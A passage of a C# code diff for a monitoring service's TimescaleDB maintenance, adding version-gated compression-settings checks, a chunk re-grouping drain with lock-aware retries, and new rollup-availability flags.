+    /// <summary>
+    /// Whether the store cannot take a compression-settings change now (#4951): only below
+    /// <see cref="CompressionSettingsChangeWithCompressedChunksFrom"/>, and only while a chunk is compressed (with
+    /// none, any 2.x takes the ALTER). An unknown version is NOT blocked, the opposite of
+    /// <see cref="SchedulerRecoversNegativeInfinity"/>'s choice and for the mirror reason: here, treating a new store
+    /// as old would keep it on the old setting forever, while trying the ALTER on an old one costs a rolled-back
+    /// statement and a log line. Pure, so the arms pin.
+    /// </summary>
+    public static bool CompressionSettingsChangeBlocked(Version? timescaleVersion, bool hasCompressedChunks)
+        => hasCompressedChunks && timescaleVersion is not null && timescaleVersion < CompressionSettingsChangeWithCompressedChunksFrom;
+
+    /// <summary>The TimescaleDB version and whether the <c>collect</c> table in $1 has a compressed chunk, in one round
+    /// trip (collection_log since #4951, perfmon_stats since #5574).</summary>
+    private const string SettingsChangeStateSql = @"
+SELECT (SELECT e.extversion FROM pg_extension AS e WHERE e.extname = 'timescaledb'),
+       EXISTS (SELECT 1
+               FROM timescaledb_information.chunks AS c
+               WHERE c.hypertable_schema = 'collect'
+               AND   c.hypertable_name = $1
+               AND   c.is_compressed)";
+
+    /// <summary>
+    /// Whether collection_log's settings change must wait for a newer TimescaleDB (#4951, see
+    /// <see cref="CompressionSettingsChangeBlocked"/>). When it must, one Information line says so on each pass that
+    /// finds the settings differ, which is every hourly pass on such a store, so the line says what changes it. A read
+    /// that fails is not a block: the ALTER is attempted, and its own failure line covers a store that refuses it.
+    /// </summary>
+    private static Task<bool> CollectionLogSettingsChangeBlockedAsync(NpgsqlConnection connection, ILogger? logger, CancellationToken cancellationToken)
+        => SettingsChangeBlockedAsync(connection, CollectionLogTable, logger, cancellationToken);
+
+    /// <summary>
+    /// <see cref="CollectionLogSettingsChangeBlockedAsync"/> for any <c>collect</c> table (#5574 asks it for
+    /// perfmon_stats): the same version floor, the same "a failed read is not a block" rule, the same line each pass.
+    /// Every table that asks wants a segmentby of its own on top of plain <c>server_id</c>, so "keeps compressing by
+    /// server_id" is true of each.
+    /// </summary>
+    private static async Task<bool> SettingsChangeBlockedAsync(NpgsqlConnection connection, string table, ILogger? logger, CancellationToken cancellationToken)
+    {
+        Version? version;
+        bool hasCompressedChunks;
+        try
+        {
+            using var command = new NpgsqlCommand(SettingsChangeStateSql, connection) { CommandTimeout = JobCatalogReadTimeoutSeconds };
+            command.Parameters.AddWithValue(table);
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            if (!await reader.ReadAsync(cancellationToken))
+            {
+                return false;
+            }
+
+            version = ParseTimescaleVersion(reader.IsDBNull(0) ? null : reader.GetString(0));
+            hasCompressedChunks = !reader.IsDBNull(1) && reader.GetBoolean(1);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            logger?.LogDebug("Could not read the TimescaleDB version or {Table}'s compressed chunks, so the compression settings change is attempted (#4951): {Message}", table, ex.Message);
+            return false;
+        }
+
+        if (!CompressionSettingsChangeBlocked(version, hasCompressedChunks))
+        {
+            return false;
+        }
+
+        logger?.LogInformation(
+            "TimescaleDB: {Table} keeps compressing by server_id: TimescaleDB {Version} cannot change compression settings while compressed chunks exist, and {Floor} and later can. Each hourly pass checks again, so the change applies after the extension is upgraded (#4951, #5574)",
+            table, version, CompressionSettingsChangeWithCompressedChunksFrom);
+        return true;
+    }
+
+    /* ---------------- perfmon_stats chunk re-group (#5574) ---------------- */
+
+    /// <summary>
+    /// How many days back the perfmon chunk re-group reaches (#5574): the window the one-counter trend read can ask
+    /// for, so a chunk older than this is never read by it and ages out with retention, untouched. The same 30 days
+    /// as the web and MCP trend reads' raw reach.
+    /// </summary>
+    public const int PerfmonRegroupReachDays = 30;
+
+    /// <summary>
+    /// The least the re-group drain waits after a chunk (#5574). It waits as long as the chunk it just did took, so the
+    /// store is busy with the rewrite at most half the time, and never less than this, so a small chunk cannot turn the
+    /// drain into back-to-back rewrites. Measured on a 13.1 M-row chunk the rewrite takes about 90 s, so the wait there is
+    /// the chunk's own time and this floor only matters for the small chunks of a quiet store.
+    /// </summary>
+    public static readonly TimeSpan PerfmonRegroupMinPause = TimeSpan.FromSeconds(15);
+
+    /// <summary>Chunks in a row that fail (not a busy lock) before the drain stops: a condition that fails one chunk (a full
+    /// disk, a missing privilege) fails the next one too, and each attempt decompresses a whole chunk first. The next
+    /// hourly check starts it again.</summary>
+    internal const int PerfmonRegroupFailureLimit = 3;
+
+    /// <summary>
+    /// How many times the compress half of one chunk's re-group is tried (#5574). By then the decompress has committed, so
+    /// the chunk is uncompressed and a busy lock is worth a short retry; after the last try the chunk is left for the
+    /// compression policy, which compresses every uncompressed chunk past <see cref="CompressAfterDays"/> with the
+    /// hypertable's current grouping, which is the wanted one.
+    /// </summary>
+    internal const int PerfmonRegroupCompressAttempts = 3;
+
+    /// <summary>perfmon_stats's wanted segmentby as <c>timescaledb_information.chunk_compression_settings</c> spells it
+    /// (comma, no space), which is not how the hypertable-level view spells it.</summary>
+    internal static readonly string PerfmonStatsChunkSegmentBy = PerfmonStatsSegmentBy.Replace(", ", ",", StringComparison.Ordinal);
+
+    /// <summary>The first TimescaleDB release with <c>timescaledb_information.chunk_compression_settings</c> (#5574).
+    /// Settings can change with compressed chunks from 2.14.0
+    /// (<see cref="CompressionSettingsChangeWithCompressedChunksFrom"/>), but the per-chunk view that says which grouping
+    /// a chunk was compressed with arrived in 2.14.1 (<c>sql/updates/2.14.0--2.14.1.sql</c> creates it; the 2.14.0 views
+    /// file has no such view). Without it the re-group cannot tell an old chunk from a new one, so the gate reads the
+    /// view's presence, not a version number.</summary>
+    public static readonly Version PerChunkCompressionSettingsViewFrom = new(2, 14, 1);
+
+    /// <summary>The version, whether the per-chunk settings view exists, and perfmon_stats's own segmentby, in one round
+    /// trip. The view test is <c>to_regclass</c>, which answers NULL rather than raising on a store without it.</summary>
+    private const string PerfmonRegroupStateSql = @"
+SELECT (SELECT e.extversion FROM pg_extension AS e WHERE e.extname = 'timescaledb'),
+       to_regclass('timescaledb_information.chunk_compression_settings') IS NOT NULL,
+       (SELECT string_agg(cs.attname, ', ' ORDER BY cs.segmentby_column_index)
+        FROM timescaledb_information.compression_settings AS cs
+        WHERE cs.hypertable_schema = 'collect'
+        AND   cs.hypertable_name = 'perfmon_stats'
+        AND   cs.segmentby_column_index IS NOT NULL)";
+
+    /// <summary>
+    /// The compressed perfmon_stats chunks inside the reach that were compressed with another grouping, newest first:
+    /// $1 the reach in days, $2 the wanted grouping in the per-chunk view's spelling. Each chunk's OWN setting is read
+    /// (the view joins the chunk, not the hypertable), because the hypertable's setting says nothing about a chunk
+    /// compressed before it changed. <c>range_end</c> is the chunk's upper bound as a real instant (the view converts the
+    /// internal UTC microseconds), so it compares to <c>now()</c> without a time zone step. The result is empty on a
+    /// converged store, and the read costs one catalog join. The join is a LEFT JOIN (#5574): a compressed chunk with no
+    /// per-chunk settings row (one compressed before the extension moved to per-chunk settings) has no known grouping, so
+    /// it counts as the old one, and the drain's done-set stops any loop over a chunk that stays a candidate.
+    /// </summary>
+    private const string PerfmonRegroupCandidatesSql = @"
+SELECT format('%I.%I', c.chunk_schema, c.chunk_name), s.segmentby
+FROM timescaledb_information.chunks AS c
+LEFT JOIN timescaledb_information.chunk_compression_settings AS s
+  ON s.chunk = to_regclass(format('%I.%I', c.chunk_schema, c.chunk_name))
+WHERE c.hypertable_schema = 'collect'
+AND   c.hypertable_name = 'perfmon_stats'
+AND   c.is_compressed
+AND   c.range_end > now() - make_interval(days => $1)
+AND   s.segmentby IS DISTINCT FROM $2
+ORDER BY c.range_start DESC";
+
+    /// <summary>
+    /// Why the perfmon chunk re-group cannot run now, or <c>null</c> when it can (#5574). Pure, so the arms pin. Three
+    /// reasons, checked in this order: a TimescaleDB below
+    /// <see cref="CompressionSettingsChangeWithCompressedChunksFrom"/> (the settings never changed, so there is nothing to
+    /// re-group to), no per-chunk settings view (<see cref="PerChunkCompressionSettingsViewFrom"/>), and a hypertable that
+    /// does not yet carry the wanted grouping (the settings change was busy or failed this pass: compressing a chunk now
+    /// would write it with the OLD grouping again, and the next pass would find it again). An unknown version is not a
+    /// reason, for the reason <see cref="CompressionSettingsChangeBlocked"/> gives; the view test covers it.
+    /// </summary>
+    internal static string? PerfmonRegroupBlockedReason(Version? timescaleVersion, bool hasPerChunkSettingsView, string? hypertableSegmentBy)
+    {
+        if (timescaleVersion is not null && timescaleVersion < CompressionSettingsChangeWithCompressedChunksFrom)
+        {
+            return $"TimescaleDB {timescaleVersion} cannot change compression settings while compressed chunks exist, so perfmon_stats was never re-grouped";
+        }
+
+        if (!hasPerChunkSettingsView)
+        {
+            return $"this TimescaleDB has no timescaledb_information.chunk_compression_settings (added in {PerChunkCompressionSettingsViewFrom}), so a chunk's grouping cannot be read";
+        }
+
+        if (!string.Equals(hypertableSegmentBy, PerfmonStatsSegmentBy, StringComparison.Ordinal))
+        {
+            return $"perfmon_stats still has segmentby '{hypertableSegmentBy ?? "(none)"}', not '{PerfmonStatsSegmentBy}' (the settings change has not applied), and a chunk compressed now would get the old grouping again";
+        }
+
+        return null;
+    }
+
+    /// <summary>The wait between two tries of the compress half (see <see cref="PerfmonRegroupCompressAttempts"/>).</summary>
+    internal static readonly TimeSpan PerfmonRegroupCompressRetryDelay = TimeSpan.FromSeconds(5);
+
+    /// <summary>A compressed perfmon_stats chunk inside the reach that was compressed with another grouping.</summary>
+    internal readonly record struct PerfmonRegroupCandidate(string Chunk, string? OldSegmentBy);
+
+    /// <summary>What <see cref="RegroupPerfmonChunkAsync"/> did to one chunk.</summary>
+    internal enum PerfmonRegroupChunkResult
+    {
+        /// <summary>Decompressed and compressed again with the wanted grouping.</summary>
+        Regrouped,
+
+        /// <summary>The decompress could not get its lock in time, so nothing changed.</summary>
+        LockBusy,
+
+        /// <summary>The decompress failed and rolled back, so nothing changed.</summary>
+        Failed,
+
+        /// <summary>The decompress was cancelled, by its statement cap (<see cref="PerfmonRegroupStatementTimeoutSeconds"/>) or by
+        /// the server (a shorter <c>statement_timeout</c>, a cancel), and rolled back, so nothing changed. The drain does not try the chunk again while the process lives.</summary>
+        TimedOut,
+
+        /// <summary>The chunk was gone (retention dropped it; the chunk catalog confirmed it) when the decompress, or the
+        /// compress after it, asked for it, so nothing failed and there is nothing left to do.</summary>
+        Gone,
+
+        /// <summary>The decompress committed and the compress did not (a busy lock on every try, a failure, or the
+        /// service stopping): the chunk is uncompressed and the compression policy compresses it with the wanted grouping.</summary>
+        LeftUncompressed,
+    }
+
+    /// <summary>One chunk's result, the rows it held (-1 when the count failed) and how long it took.</summary>
+    internal readonly record struct PerfmonRegroupChunkOutcome(PerfmonRegroupChunkResult Result, long Rows, TimeSpan Elapsed);
+
+    /// <summary>The longest one re-group statement (the decompress, the compress) may run before the client gives up on it
+    /// (#5574): 30 minutes, far above the ~90-180 s a 13 M-row chunk takes, so only a chunk several times that size, or a
+    /// store that is struggling, reaches it. The service's stopping token cancels a statement long before.</summary>
+    internal const int PerfmonRegroupStatementTimeoutSeconds = 1800;
+
+    /// <summary>The state of the candidates read (#5574): which of the three things the old <c>null</c> stood for it was.</summary>
+    internal enum PerfmonRegroupReadStatus
+    {
+        /// <summary>The gate is open and the catalog was read; the list may be empty (converged).</summary>
+        Candidates,
+
+        /// <summary>The gate is closed (<see cref="PerfmonRegroupBlockedReason"/>); the reason is in the detail.</summary>
+        Blocked,
+
+        /// <summary>The catalog could not be read; the error message is in the detail.</summary>
+        ReadFailed,
+    }
+
+    /// <summary>One candidates read: its status, the chunks (empty unless <see cref="PerfmonRegroupReadStatus.Candidates"/>),
+    /// and the reason or error text for the other two.</summary>
+    internal readonly record struct PerfmonRegroupRead(PerfmonRegroupReadStatus Status, IReadOnlyList<PerfmonRegroupCandidate> Candidates, string? Detail);
+
+    /// <summary>The configured fleet retention of the perfmon collector in days, or <c>null</c> when it could not be read
+    /// (#5574). The drain clamps its reach to it.</summary>
+    internal static async Task<int?> ReadPerfmonRetentionDaysAsync(NpgsqlConnection connection, CancellationToken cancellationToken)
+    {
+        try
+        {
+            using var command = new NpgsqlCommand(
+                "SELECT retention_days FROM config.config_collector_schedules WHERE server_id IS NULL AND lower(collector_name) = $1 AND retention_days >= 1 LIMIT 1",
+                connection) { CommandTimeout = JobCatalogReadTimeoutSeconds };
+            command.Parameters.AddWithValue(PerfmonStatsTable);
+            var value = await command.ExecuteScalarAsync(cancellationToken);
+            return DarlingRetentionHorizons.ResolveFleetRetentionDays(PerfmonStatsTable, value is int days ? days : (int?)null);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return null;
+        }
+    }
+
+    /// <summary>
+    /// The compressed perfmon_stats chunks inside the reach that still have the old grouping, newest first (#5574), as a
+    /// <see cref="PerfmonRegroupRead"/> that says which of three things happened: the candidates (an empty list means
+    /// converged), the gate blocked the re-group (<see cref="PerfmonRegroupBlockedReason"/>; one Debug line, a normal state of
+    /// some store), or the catalog could not be read (the caller logs it).
+    ///
+    /// <para>This is the whole of the "is anything left" check, two catalog reads, and it is what the drain repeats
+    /// before every chunk: the gate (the hypertable's own setting is checked every time because compressing under the old
+    /// one would undo the work) and the candidates are read fresh, so a chunk the compression policy has meanwhile
+    /// compressed with the new grouping drops out of the list on its own.</para>
+    /// </summary>
+    internal static async Task<PerfmonRegroupRead> ReadPerfmonRegroupCandidatesAsync(
+        NpgsqlConnection connection, ILogger? logger, int reachDays, CancellationToken cancellationToken)
+    {
+        if (connection is null)
+        {
+            throw new ArgumentNullException(nameof(connection));
+        }
+
+        var candidates = new List<PerfmonRegroupCandidate>();
+        try
+        {
+            Version? version;
+            bool hasView;
+            string? current;
+            using (var state = new NpgsqlCommand(PerfmonRegroupStateSql, connection) { CommandTimeout = JobCatalogReadTimeoutSeconds })
+            await using (var reader = await state.ExecuteReaderAsync(cancellationToken))
             {
-                await convert.ExecuteNonQueryAsync(cancellationToken);
+                if (!await reader.ReadAsync(cancellationToken))
+                {
+                    return new PerfmonRegroupRead(PerfmonRegroupReadStatus.ReadFailed, candidates, "the state query returned no row");
+                }
+
+                version = ParseTimescaleVersion(reader.IsDBNull(0) ? null : reader.GetString(0));
+                hasView = !reader.IsDBNull(1) && reader.GetBoolean(1);
+                current = reader.IsDBNull(2) ? null : reader.GetString(2);
             }
 
-            /* #3817: same guard as the collector sweep's, same reason — the enable ALTER takes an
-               AccessExclusiveLock even when it changes nothing (measured; CompressionEnabledStateSql carries
-               the measurement), and this method is now on the hourly tick rather than only the start path.
-               collection_log is written by every collector cycle, so the convoy applies to it as much as to
-               the collector tables. Its own read because this method takes no set from its caller; one row
-               back, and a null answer issues the ALTER exactly as before. */
-            var converged = await ReadTablesNeedingCompressionEnableAsync(connection, logger, cancellationToken);
-            if (converged is null || !converged.Contains(CollectionLogTable))
+            var blocked = PerfmonRegroupBlockedReason(version, hasView, current);
+            if (blocked is not null)
             {
-                using var enable = new NpgsqlCommand(EnableCompressionSql(CollectionLogTable), connection) { CommandTimeout = SetupTimeoutSeconds };
-                await enable.ExecuteNonQueryAsync(cancellationToken);
+                logger?.LogDebug("TimescaleDB: perfmon_stats chunks are not re-grouped now: {Reason} (#5574)", blocked);
+                return new PerfmonRegroupRead(PerfmonRegroupReadStatus.Blocked, candidates, blocked);
             }
 
-            using (var policy = new NpgsqlCommand(AddCompressionPolicySql(CollectionLogTable), connection) { CommandTimeout = SetupTimeoutSeconds })
+            using var find = new NpgsqlCommand(PerfmonRegroupCandidatesSql, connection) { CommandTimeout = JobCatalogReadTimeoutSeconds };
+            find.Parameters.AddWithValue(reachDays);
+            find.Parameters.AddWithValue(PerfmonStatsChunkSegmentBy);
+            await using var chunks = await find.ExecuteReaderAsync(cancellationToken);
+            while (await chunks.ReadAsync(cancellationToken))
             {
-                await policy.ExecuteNonQueryAsync(cancellationToken);
+                candidates.Add(new PerfmonRegroupCandidate(chunks.GetString(0), chunks.IsDBNull(1) ? null : chunks.GetString(1)));
             }
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            /* The drain logs this one (a Warning the first time in the process, then Debug), so it is not logged here. */
+            return new PerfmonRegroupRead(PerfmonRegroupReadStatus.ReadFailed, new List<PerfmonRegroupCandidate>(), ex.Message);
+        }
 
-            logger?.LogInformation("TimescaleDB: collection_log is a hypertable with a {Days}d compression policy", CompressAfterDays);
-            return true;
+        return new PerfmonRegroupRead(PerfmonRegroupReadStatus.Candidates, candidates, null);
+    }
+
+    /// <summary>
+    /// Re-groups ONE perfmon_stats chunk that was compressed by <c>server_id</c> alone, so a one-counter trend read over it
+    /// skips every other counter's batches the way it already does on a chunk compressed after the settings change
+    /// (#5574).
+    ///
+    /// <para><b>Why it exists.</b> The settings change (<see cref="PerfmonStatsSegmentBy"/>) reaches only chunks compressed
+    /// after it (<see cref="EnsureCollectionLogHypertableAsync"/> explains why), and collection_log can let its old chunks
+    /// age out. perfmon_stats cannot: its trend read reaches 30 days, and chunks compress after a day, so a store would
+    /// read old-shape chunks for the better part of a month. The drain (<see cref="PerfmonRegroupDrain"/>) calls this for
+    /// the chunks inside <see cref="PerfmonRegroupReachDays"/>; older ones are never read by that query and go with
+    /// retention.</para>
+    ///
+    /// <para><b>Two transactions, because of when the lock escalates.</b> <c>decompress_chunk</c> holds only an
+    /// EXCLUSIVE lock on the chunk, which lets reads go on, until the very end, where it takes ACCESS EXCLUSIVE to drop the
+    /// old compressed chunk (TimescaleDB 2.30.1, <c>tsl/src/compression/api.c</c>, <c>decompress_chunk_impl</c>);
+    /// <c>compress_chunk</c> holds EXCLUSIVE throughout. A lock is held to the end of its transaction, so
+    /// decompress and compress in ONE transaction (the first version of this) kept every read of the chunk waiting for the
+    /// whole compress half: 54 s of a 113 s re-group on a 13.1 M-row chunk. Two transactions put the ACCESS EXCLUSIVE at
+    /// the end of the first, so a read waits at most the <see cref="HourlyDdlLockTimeout"/> a busy lock is given, and
+    /// measured 0 waits and a slowest read of 2 s over a 94 s re-group (reads slow down from the disk work, not from
+    /// a lock). <c>compress_chunk(..., recompress =&gt; true)</c> does not help: with changed settings it runs the same two
+    /// halves inside one statement and measured a 34 s wait of 85 s.</para>
+    ///
+    /// <para><b>A crash between the two leaves an uncompressed chunk, not a broken one.</b> The compression policy compresses
+    /// every uncompressed chunk older than <see cref="CompressAfterDays"/> with the hypertable's current grouping, so the
+    /// chunk comes back compressed with the NEW grouping at the policy's next run. The compress half is retried
+    /// <see cref="PerfmonRegroupCompressAttempts"/> times first, and passes <c>if_not_compressed</c> so a policy run that got
+    /// there first is not an error. Between the two calls the chunk's rows are counted (a plain heap scan, for the log
+    /// line). Needs room for the whole chunk uncompressed plus its indexes, and writes it to the WAL, for the length of one
+    /// chunk.</para>
+    ///
+    /// <para>Never throws, except for cancellation.</para>
+    /// </summary>
+    internal static async Task<PerfmonRegroupChunkOutcome> RegroupPerfmonChunkAsync(
+        NpgsqlConnection connection, ILogger? logger, PerfmonRegroupCandidate candidate, CancellationToken cancellationToken,
+        int statementTimeoutSeconds = PerfmonRegroupStatementTimeoutSeconds)
+    {
+        if (connection is null)
+        {
+            throw new ArgumentNullException(nameof(connection));
+        }
+
+        var chunk = candidate.Chunk;
+        var clock = Stopwatch.StartNew();
+        var decompressed = await TryRunBoundedDdlAsync(
+            connection,
+            async transaction =>
+            {
+                using var decompress = new NpgsqlCommand("SELECT decompress_chunk($1::regclass)", connection, transaction) { CommandTimeout = statementTimeoutSeconds };
+                decompress.Parameters.AddWithValue(chunk);
+                await decompress.ExecuteNonQueryAsync(cancellationToken);
+            },
+            logger, $"re-grouping perfmon_stats chunk {chunk} (decompress)", cancellationToken,
+            distinguishTimeoutAndMissing: true);
+
+        if (decompressed != BoundedDdlOutcome.Applied)
+        {
+            return new PerfmonRegroupChunkOutcome(
+                decompressed switch
+                {
+                    BoundedDdlOutcome.LockBusy => PerfmonRegroupChunkResult.LockBusy,
+                    BoundedDdlOutcome.TimedOut => PerfmonRegroupChunkResult.TimedOut,
+                    BoundedDdlOutcome.RelationMissing => await ResolveMissingRelationAsync(connection, logger, chunk, "decompress", cancellationToken),
+                    _ => PerfmonRegroupChunkResult.Failed,
+                },
+                0, clock.Elapsed);
+        }
+
+        long rows = -1;
+        try
+        {
+            /* The chunk's name came out of the catalog already quoted by format('%I.%I'), so it is safe to splice. */
+            using var count = new NpgsqlCommand($"SELECT count(*) FROM {chunk}", connection) { CommandTimeout = SetupTimeoutSeconds };
+            rows = Convert.ToInt64(await count.ExecuteScalarAsync(cancellationToken), CultureInfo.InvariantCulture);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
-            logger?.LogWarning(
-                "collection_log hypertable setup failed — it stays a plain table (DELETE-based retention still honors its horizon): {Message}",
-                ex.Message);
-            return false;
+            logger?.LogDebug("TimescaleDB: could not count the rows of perfmon_stats chunk {Chunk} before compressing it again: {Message}", chunk, ex.Message);
         }
+
+        var compressResult = await CompressRegroupedChunkAsync(connection, logger, chunk, PerfmonRegroupCompressAttempts, PerfmonRegroupCompressRetryDelay, cancellationToken, statementTimeoutSeconds);
+        if (compressResult == PerfmonRegroupChunkResult.Regrouped)
+        {
+            logger?.LogInformation(
+                "TimescaleDB: re-grouped perfmon_stats chunk {Chunk} ({Rows} rows) from '{Old}' to '{New}' in {ElapsedMs} ms (#5574)",
+                chunk, rows, candidate.OldSegmentBy ?? "(none)", PerfmonStatsChunkSegmentBy, clock.ElapsedMilliseconds);
+        }
+
+        return new PerfmonRegroupChunkOutcome(compressResult, rows, clock.Elapsed);
+    }
+
+    /// <summary>
+    /// What a "relation does not exist" (42P01) from either half of a chunk's re-group means (#5574): the chunk catalog is read
+    /// again, and only a chunk that is really gone (retention dropped it between the half before and this one) is
+    /// <see cref="PerfmonRegroupChunkResult.Gone"/>, which costs a Debug line and no failure. A chunk the catalog still lists did
+    /// not fail for that reason (a name or quoting bug, a catalog that disagrees with itself), so it is a
+    /// <see cref="PerfmonRegroupChunkResult.Failed"/> chunk with a Warning. A catalog that cannot be read is no proof of
+    /// anything and counts as Failed too.
+    /// </summary>
+    internal static async Task<PerfmonRegroupChunkResult> ResolveMissingRelationAsync(
+        NpgsqlConnection connection, ILogger? logger, string chunk, string half, CancellationToken cancellationToken)
+    {
+        bool? listed;
+        try
+        {
+            using var read = new NpgsqlCommand(
+                @"SELECT EXISTS (SELECT 1 FROM timescaledb_information.chunks AS c
+WHERE c.hypertable_schema = 'collect' AND c.hypertable_name = 'perfmon_stats'
+AND format('%I.%I', c.chunk_schema, c.chunk_name) = $1)",
+                connection) { CommandTimeout = JobCatalogReadTimeoutSeconds };
+            read.Parameters.AddWithValue(chunk);
+            listed = (bool?)await read.ExecuteScalarAsync(cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            logger?.LogDebug("TimescaleDB: could not re-read the chunk catalog for perfmon_stats chunk {Chunk}: {Message}", chunk, ex.Message);
+            listed = null;
+        }
+
+        if (listed == false)
+        {
+            logger?.LogDebug("TimescaleDB: perfmon_stats chunk {Chunk} no longer exists ({Half} half; retention dropped it), so it is not re-grouped (#5574)", chunk, half);
+            return PerfmonRegroupChunkResult.Gone;
+        }
+
+        logger?.LogWarning(
+            "TimescaleDB: the {Half} of perfmon_stats chunk {Chunk} reported that a relation does not exist, but {Catalog}, so this is a failure and not a chunk that retention dropped (#5574)",
+            half, chunk, listed == true ? "the chunk catalog still lists the chunk" : "the chunk catalog could not be read to tell");
+        return PerfmonRegroupChunkResult.Failed;
+    }
+
+    /// <summary>
+    /// The compress half of a chunk's re-group (#5574): the chunk was decompressed in a transaction that has committed,
+    /// so it is uncompressed now and a busy lock is worth <paramref name="attempts"/> tries, <paramref name="retryDelay"/>
+    /// apart, each behind the 3 s lock timeout. Returns <see cref="PerfmonRegroupChunkResult.Regrouped"/> when the chunk is compressed again,
+    /// <see cref="PerfmonRegroupChunkResult.Gone"/> when the chunk is really gone (retention dropped it between the halves),
+    /// and <see cref="PerfmonRegroupChunkResult.LeftUncompressed"/> otherwise. When every try failed the
+    /// chunk stays uncompressed, with one Warning, and the compression policy compresses it with the hypertable's grouping
+    /// at its next run. <c>if_not_compressed</c> makes a policy run that got there first a success, not an error.
+    /// A cancellation (the service stopping) leaves the chunk the same way, says so at Information, and propagates.
+    ///
+    /// <para><b>Only a busy lock is retried</b> (55P03, behind the 3 s lock timeout): any other error, a statement that ran
+    /// into its cap included, ends the tries at once, because a second try of a compression that just failed (or ran
+    /// 30 minutes) is another whole compression. The busy tries are not fed to <see cref="BusyStreaks"/>: three tries inside
+    /// ten seconds are not "three passes", and the Warning below is the one line an all-busy half logs.</para>
+    /// </summary>
+    internal static async Task<PerfmonRegroupChunkResult> CompressRegroupedChunkAsync(
+        NpgsqlConnection connection, ILogger? logger, string chunk, int attempts, TimeSpan retryDelay, CancellationToken cancellationToken,
+        int statementTimeoutSeconds = PerfmonRegroupStatementTimeoutSeconds)
+    {
+        try
+        {
+            for (var attempt = 1; attempt <= attempts; attempt++)
+            {
+                var compressed = await TryRunBoundedDdlAsync(
+                    connection,
+                    async transaction =>
+                    {
+                        using var compress = new NpgsqlCommand("SELECT compress_chunk($1::regclass, if_not_compressed => true)", connection, transaction) { CommandTimeout = statementTimeoutSeconds };
+                        compress.Parameters.AddWithValue(chunk);
+                        await compress.ExecuteNonQueryAsync(cancellationToken);
+                    },
+                    logger, $"re-grouping perfmon_stats chunk {chunk} (compress)", cancellationToken,
+                    recordBusyStreak: false, distinguishTimeoutAndMissing: true);
+
+                if (compressed == BoundedDdlOutcome.Applied)
+                {
+                    return PerfmonRegroupChunkResult.Regrouped;
+                }
+
+                if (compressed == BoundedDdlOutcome.RelationMissing
+                    && await ResolveMissingRelationAsync(connection, logger, chunk, "compress", cancellationToken) == PerfmonRegroupChunkResult.Gone)
+                {
+                    /* Retention dropped the chunk between the two halves: there is nothing for the policy to compress, and
+                       nothing failed (a chunk the catalog still lists is the Warning above, and stays uncompressed). */
+                    return PerfmonRegroupChunkResult.Gone;
+                }
+
+                if (compressed != BoundedDdlOutcome.LockBusy)
+                {
+                    /* Not a busy lock (an error, the cap, a relation error on a chunk that still exists): the line above says
+                       why, and the chunk is the compression policy's. */
+                    logger?.LogInformation(
+                        "TimescaleDB: perfmon_stats chunk {Chunk} was decompressed for re-grouping and compressing it again did not work ({Outcome}), so it stays uncompressed until the compression policy compresses it with '{New}' at its next run (#5574)",
+                        chunk, compressed, PerfmonStatsChunkSegmentBy);
+                    return PerfmonRegroupChunkResult.LeftUncompressed;
+                }
+
+                if (attempt < attempts)
+                {
+                    await Task.Delay(retryDelay, cancellationToken);
+                }
+            }
+        }
+        catch (OperationCanceledException)
+        {
+            logger?.LogInformation(
+                "TimescaleDB: the service is stopping with perfmon_stats chunk {Chunk} decompressed; the compression policy compresses it again with '{New}' at its next run (#5574)",
+                chunk, PerfmonStatsChunkSegmentBy);
+            throw;
+        }
+
+        logger?.LogWarning(
+            "TimescaleDB: perfmon_stats chunk {Chunk} was decompressed for re-grouping but could not be compressed again after {Attempts} tries, so it stays uncompressed until the compression policy compresses it with '{New}' at its next run; reads of it use the heap and its indexes meanwhile (#5574)",
+            chunk, attempts, PerfmonStatsChunkSegmentBy);
+        return PerfmonRegroupChunkResult.LeftUncompressed;
     }
 
     /* ---------------- compression-job self-heal (#1581) ---------------- */
@@ -13280,7 +15142,8 @@ public readonly record struct RollupAvailability(
     bool QueryStoreIntervalHourly = false, bool QueryStoreCorrectedHourly = false, bool QueryStoreCorrectedDaily = false,
     bool QueryStoreIntervalDaily = false, bool QueryStoreDayGrainDaily = false,
     bool QueryGrainIntervalHourly = false, bool ProcedureGrainIntervalHourly = false, bool DbGrainIntervalHourly = false,
-    bool QueryGrainIntervalDaily = false, bool ProcedureGrainIntervalDaily = false, bool DbGrainIntervalDaily = false)
+    bool QueryGrainIntervalDaily = false, bool ProcedureGrainIntervalDaily = false, bool DbGrainIntervalDaily = false,
+    bool QueryGrainIoHourly = false, bool ProcedureGrainIoHourly = false)
 {
     /// <summary>True when every rollup exists — the steady state on a TimescaleDB store, safe to cache
     /// permanently (a created continuous aggregate is never dropped outside the reshape sweep).</summary>
@@ -13290,13 +15153,19 @@ public readonly record struct RollupAvailability(
         && QueryStoreIntervalHourly && QueryStoreCorrectedHourly && QueryStoreCorrectedDaily
         && QueryStoreIntervalDaily && QueryStoreDayGrainDaily
         && QueryGrainIntervalHourly && ProcedureGrainIntervalHourly && DbGrainIntervalHourly
-        && QueryGrainIntervalDaily && ProcedureGrainIntervalDaily && DbGrainIntervalDaily;
+        && QueryGrainIntervalDaily && ProcedureGrainIntervalDaily && DbGrainIntervalDaily
+        && QueryGrainIoHourly && ProcedureGrainIoHourly;
 
     /// <summary>No rollups at all — the plain-PostgreSQL shape, and the safe fallback when a probe fails.</summary>
     public static RollupAvailability None => default;
 
     /// <summary>Every flag true — the fully-built TimescaleDB shape (and the test shorthand for it).</summary>
-    public static RollupAvailability All => new(true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true);
+    public static RollupAvailability All => new(true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true);
+
+    /// <summary>The pre-#5329 shape: every rollup up to and including the interval-honest dailies, none of the
+    /// two hourly rollups that carry logical reads — a store whose ensure sweep has not created them yet. A
+    /// reads ranking must stay on raw for exactly this shape (the test shorthand for that degrade).</summary>
+    public static RollupAvailability WithoutIoHourlies => new(true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true);
 
     /// <summary>The pre-#3653 shape: every rollup a #1869-era service created, none of the interval-honest hourly
     /// successors (Q12) — a store whose service predates this build. Its hourly-tier reads must keep routing to
